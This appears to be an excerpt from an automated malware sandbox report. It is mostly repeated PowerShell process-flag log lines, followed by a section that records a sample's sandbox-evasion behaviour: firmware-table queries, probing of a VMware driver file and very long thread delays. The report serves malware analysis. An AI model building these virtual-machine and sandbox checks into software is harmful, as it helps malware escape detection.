      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

      Malware Analysis System Evasion

      barindex
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comSystem information queried: FirmwareTableInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile opened / queried: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
